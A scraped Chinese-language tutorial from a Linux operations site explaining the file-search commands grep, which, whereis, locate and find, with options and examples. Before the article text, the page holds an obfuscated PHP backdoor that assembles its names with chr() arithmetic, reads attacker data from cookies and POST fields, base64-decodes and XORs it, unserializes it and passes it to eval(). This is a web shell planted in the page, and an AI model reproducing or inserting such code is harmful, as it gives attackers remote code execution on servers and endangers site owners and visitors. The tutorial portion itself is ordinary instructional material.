$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Linux下的查找命令 | Linux运维部落

Linux下的查找命令

       Linux下的查找命令有很多,常用的有grep、which、whereis、locate、find。使用linux系统难免会忘记文件所在的位置,小编就是如此尴尬。所以我们在文件系统上常常需要根据文件的各种属性去查找符合条件的文件,所以小编今天特意写一篇文章来介绍一下这几个常用的查找命令。

一、Grep(Global search REgular expression and Print out the line)

作用:是一种强大的文本搜索工具根据用户指定的“模式”对目标文件逐行进行匹配检查,并把匹配的行打印出来。

模式:由正则表达式字符及文本字符所编写的过滤条件。

语法:

grep [选项] pattern [文件名]

–color 高亮显示匹配到的字符串
-c 仅显示各指定文件中包含模式的总行数
-i 模式中字母不区分大小写
-h 不将包含模式的文件名显示在该行上
-l 仅显示包含模式的文件名
-n 显示模式所在行的行号
-s 指定文件若不存在或不可读,不提示错误信息
-v 显示不能被pattern匹配到的行

正则表达式

. 匹配任意一个字符
* 匹配0 个或多个*前的字符
^ 匹配行开头
$ 匹配行结尾
[] 匹配指定范围内中的任意一个字符
注意:

其中,pattern为所要匹配的字符串。

centos7上通过定义了grep的别名来高亮显示匹配到的字符串,centos6没有高亮显示

想要用好grep这个命令,其实就是要写好正则表达式,小编这里重点是要介绍查找命令的,所以这里不对grep的所有功能进行举例介绍,只简单举例几个。

例1:显示用户rpc默认的shell程序

Linux下的查找命令

* 这里-w用来匹配到指定单词

例2:使用egrep取出/etc/rc.d/init.d/functions中其基名

Linux下的查找命令

* 这里-o仅显示匹配到的字符串

例3:找出“netstat -tan”命令的结果中以‘LISTEN’后跟任意多个空白字符结尾的行

Linux下的查找命令

* 这里也用到了-w,匹配到LISTEN这个单词以及后面\+表示的多个空格

例4;显示/proc/meminfo文件中以大小s开头的行(要求:使用两种方法)

Linux下的查找命令

* 这里-i忽略字母大小写,所以只以s开头的就可以查找到

第二种方法:cat /proc/meminfo|grep “^[Ss]”
* 这里的[]是用来匹配到[]里面的大s跟小s

二:Which
which 可执行文件名称
-n 指定文件名长度,指定的长度必须大于或等于所有文件中最长的文件名。
-p 与-n参数相同,但此处的包括了文件的路径。
-w 指定输出时栏位的宽度。 

作用:主要是用来查找系统PATH目录下的可执行文件。也就是说查找那些我们已经安装好的可以直接执行的命令。比如

Linux下的查找命令

* 这里 alias代表的是命令别名。由图可以看出which是可以分辨出命令的别名的,并且查出命令所在路径位置。

-v 显示版本信息,比如:

Linux下的查找命令

三:Whereis

语法: 
whereis [选项] 文件或者目录名称  
-b : 只找二进制文件 
-m: 只找在说明文件manual路径下的文件 
-s : 只找source源文件 
-u : 没有说明文档的文件

作用:用来查找二进制(命令)、源文件、man文件。它是通过文件索引数据库而非PATH来查找的,这点与which不同,所以查找的范围比which要广。比如:

Linux下的查找命令

* 我们由图可以看到whereis还找到了ls命令的相关man文件。其他的选项小编就不一一举例了,你们要多动手敲啊。

四:locate

Locate属于非实时查找,用法简单,在locate后面跟上所要查找的关键字即可,没什么难度,但依赖于数据库,也是通过数据库查找文件。它可以找到任意你指定要找的文件,同时locte还可以通过-r选项使用正则表达式,功能十分强大。

特点:查找速度快、模糊查找,比如:

Linux下的查找命令

* 小编这里只截取了前三行,是实际上locate输出的内容是非常多的。它查出了包含cp这两个字母的所有内容,说明它的模糊查找特点。

注意:locate使用的索引数据库里的信息并不一定是实时有效的,可以使用updatedb命令手动更新索引数据库。

五:find

find属于实时查找工具,通过遍历指定路径下的文件系统完成文件查找,

它要比前面四个命令复杂的多,功能也强大的多。这条命令是通过直接搜索硬盘的方式查找的,所以可以保证查找的信息绝对可靠。但它的搜索速度慢。

特点:查找速度慢、精确查找

5.1语法:

Find [选项]…[查找路径][查找条件][处理动作]

-name 基于名称的精确查找

-iname 基于名称忽略大小写的精确查找查找

例1:查找/root/bin下以数字.sh结尾的文件

Linux下的查找命令

-user 用户名  基于文件owner的查找

-group 组名 基于文件group的查找

例2:查找/var/目录属主为root且数组为mail的所有文件

Linux下的查找命令

-nouser 查找没有owner的文件

-nogroup 查找没有group的文件

5.2 -type 基于文件类型的查找

• f: 普通文件

• d: 目录文件

• l: 符号链接文件

• s:套接字文件

• b: 块设备文件

• c: 字符设备文件

• p: 管道文件

5.3 -size [+|-]#UNIT 根据文件大小来查找

常用单位:k, M, G,c(byte)

#UNIT: (#-1, #]如:6k 表示(5k,6k]

-#UNIT:[0,#-1]如:-6k 表示[0,5k]

+#UNIT:(#,∞)如:+6k 表示(6k,∞)

例3;查找/etc/目录下大于1M且类型为普通文件的所有文件

Linux下的查找命令

5.4根据时间戳查找:

以“天”为单位;

     -atime [+|-]#,

     #: [#,#+1)

     +#: [#+1,∞]

     -#: [0,#)

     -mtime

     -ctime

     以“分钟”为单位:

     -amin

     -mmin

     -cmin

例4:查找/etc/目录下最近两天内其内容修改过的属于root的文件

Linux下的查找命令

5.5根据权限查找

     -perm [+|-]mode

     mode:精确权限匹配

     +mode[/mode] 任何一类(u,g,o)对象的权限中只要能一位匹配即可,或关系,+ 从centos7开始淘汰

例5:查找/boot/下所有用户都没有写权限的文件

Linux下的查找命令

* 这个是小编在centos7下用+号执行的根据权限查找文件,看到warning没,警告最好用/表示,而且它查找出来的结果也不符合题意,有的user还有写权限呢。

Linux下的查找命令

* 由图可知,/表示的权限查找出来的文件才是正确的结果

     -mode  每一类对象都必须同时拥有指定权限

例6;查找/app/目录下至少有一类用户没有写权限

Linux下的查找命令

处理动作:

    -print 默认

    -delete 直接删除所查找到的文件,不询问。

    -ls 长列出所查找到的文件

    -ok command {} \; 对查找到的文件当做下一命令的参数去执行(交互式)

    -exec command {} \; 对查找到的文件当做下一命令的参数去执行(非交互式),比如:

Linux下的查找命令

* 小编这里使用-ok command {} \;来删除查找到的首字母为大写的文件,确定删除询问时输入y

    好了,小编本篇关于查找命令的分享到这里就结束了,还望大家踊跃评论,多多指教。


原创文章,作者:Qianzhihe,如若转载,请注明出处:http://www.178linux.com/84616

(0)
上一篇 2017-08-13 00:13
下一篇 2017-08-13 13:39

相关推荐

  • 如何在Linux系统上获取命令的帮助信息

    如何获取命令帮助信息:    1、内建命令可以通过help COMMAND    2、外部命令可以通过man手册获取帮助,COMMAND –help man命令的分段机制:      1-8:        …

    Linux干货 2016-10-30
  • 第二十一周作业

    1、回顾并详细总结MySQL的存储引擎、索引; 常用存储引擎的对比: 特点 MyISAM InnoDB MEMORY MERGE NDB 存储限制 有 64TB 有 没有 有 事务安全 支持 锁机制 表锁 行锁 表锁 表锁 行锁 B树索引 支持 支持 支持 支持 支持 哈希索引 支持 全文索引 支持 集群索引 支持 数据缓存 支持 支持 支持 索引缓存 支持…

    2017-07-29
  • 正则表达式基础以及grep的简单使用

    正则表达式基础以及grep的简单使用   1,定义 正则表达式是你所定义的模式模板,Linux可以用它来过滤文本。Linux工具(比如grep、sed、gawk)能够在处理数据时使用正则表达式对数据进行模式匹配。如果数据匹配模式,它就会被接受并进一步处理;如果数据不匹配,它就会被滤掉。 2,正则表达式的原则 (1)正则表达式模式都区分大小写。(2)…

    2017-04-09
  • bash特性及bash脚本编程初步

    终端,附着在终端的接口程序: GUI:KDE, GNome, Xfce CLI:/etc/shells bash zsh fish   bash的特性: 命令行展开:~, {} 命令别名:alias, unalias 命令历史:history 文件名通配:glob 快捷键:Ctrl+a, e, u, k, l 命令补全:$PATH 路径补全: &n…

    Linux干货 2016-11-21
  • Linux下编译安装httpd

    本章学习内容         ———介绍httpd         ———-rpm和yum不同   &nbs…

    Linux干货 2016-08-25
  • bash功能特性二 命令别名和历史命令

    一、历史命令     bash提供存储历史命令的功能,下面来详细介绍一下。     1、history命令         命令格式:history [options]   &nb…

    Linux干货 2015-04-21